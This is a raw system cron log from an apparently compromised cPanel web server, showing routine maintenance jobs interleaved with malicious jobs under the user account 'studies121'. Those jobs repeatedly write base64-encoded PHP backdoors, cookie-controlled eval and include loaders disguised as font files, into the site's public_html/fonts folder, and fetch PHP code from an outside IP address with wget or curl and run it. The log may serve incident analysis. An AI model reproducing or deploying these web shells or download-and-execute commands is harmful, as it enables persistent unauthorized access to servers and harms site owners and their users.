Sep 21 14:57:01 ip-184-168-122-23 CROND[27845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:57:01 ip-184-168-122-23 CROND[27844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:57:01 ip-184-168-122-23 CROND[27846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:58:01 ip-184-168-122-23 CROND[27975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:58:01 ip-184-168-122-23 CROND[27977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:58:01 ip-184-168-122-23 CROND[27978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:58:01 ip-184-168-122-23 CROND[27979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:58:01 ip-184-168-122-23 CROND[27980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:59:02 ip-184-168-122-23 CROND[28100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:59:02 ip-184-168-122-23 CROND[28101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:59:02 ip-184-168-122-23 CROND[28102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:59:02 ip-184-168-122-23 CROND[28103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:00:01 ip-184-168-122-23 CROND[28338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:00:02 ip-184-168-122-23 CROND[28347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:00:02 ip-184-168-122-23 CROND[28348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:01:01 ip-184-168-122-23 CROND[28557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:01:01 ip-184-168-122-23 CROND[28558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:01:01 ip-184-168-122-23 CROND[28559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:01:01 ip-184-168-122-23 CROND[28561]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 15:01:01 ip-184-168-122-23 CROND[28564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 15:01:01 ip-184-168-122-23 CROND[28569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28561]: starting 0anacron
Sep 21 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28578]: finished 0anacron
Sep 21 15:02:01 ip-184-168-122-23 CROND[28692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:02:01 ip-184-168-122-23 CROND[28694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:02:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:02:01 ip-184-168-122-23 CROND[28695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:02:01 ip-184-168-122-23 CROND[28697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:03:01 ip-184-168-122-23 CROND[28799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:03:01 ip-184-168-122-23 CROND[28801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:03:01 ip-184-168-122-23 CROND[28802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:03:01 ip-184-168-122-23 CROND[28803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:04:01 ip-184-168-122-23 CROND[28928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:04:01 ip-184-168-122-23 CROND[28930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:04:01 ip-184-168-122-23 CROND[28931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:04:01 ip-184-168-122-23 CROND[28933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:04:01 ip-184-168-122-23 CROND[28932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:05:01 ip-184-168-122-23 CROND[29159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:05:01 ip-184-168-122-23 CROND[29161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:05:01 ip-184-168-122-23 CROND[29162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 15:05:01 ip-184-168-122-23 CROND[29165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:05:01 ip-184-168-122-23 CROND[29167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:05:01 ip-184-168-122-23 CROND[29168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:05:01 ip-184-168-122-23 CROND[29163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:06:01 ip-184-168-122-23 CROND[29305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:06:01 ip-184-168-122-23 CROND[29308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:06:01 ip-184-168-122-23 CROND[29307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:06:01 ip-184-168-122-23 CROND[29310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:06:01 ip-184-168-122-23 CROND[29309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:07:01 ip-184-168-122-23 CROND[29453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:07:01 ip-184-168-122-23 CROND[29455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:07:01 ip-184-168-122-23 CROND[29456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:07:01 ip-184-168-122-23 CROND[29457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:08:01 ip-184-168-122-23 CROND[29644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:08:01 ip-184-168-122-23 CROND[29645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:08:01 ip-184-168-122-23 CROND[29646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:08:01 ip-184-168-122-23 CROND[29651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:08:01 ip-184-168-122-23 CROND[29649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
